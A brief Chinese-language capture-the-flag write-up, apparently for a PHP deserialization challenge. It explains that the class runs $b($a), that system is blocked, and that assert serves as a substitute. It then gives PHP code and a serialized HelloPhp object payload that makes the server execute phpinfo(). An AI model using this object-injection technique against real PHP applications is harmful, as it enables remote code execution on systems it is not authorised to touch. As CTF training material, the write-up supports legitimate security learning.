题目还是挺简单的

看代码

访问一下

一看就是反序列化

看看执行主要是 echo $b($a)

那就是$b是命令 $a是参数

这里还要fuzz一下 因为system不能执行

所以我们可以使用其他命令执行 函数 例如 assert

我们看看如何构造

    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    } 

创建的时候 赋值 data(Y-m-d h:i:s)

所以很明显 我们只需要将b设置为我们的命令函数

a设置为参数即可

<?php
class HelloPhp
{ 
    public $a="phpinfo()";
    public $b="assert";
  }
echo serialize(new HelloPhp());

payload

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

就是这么简单结束了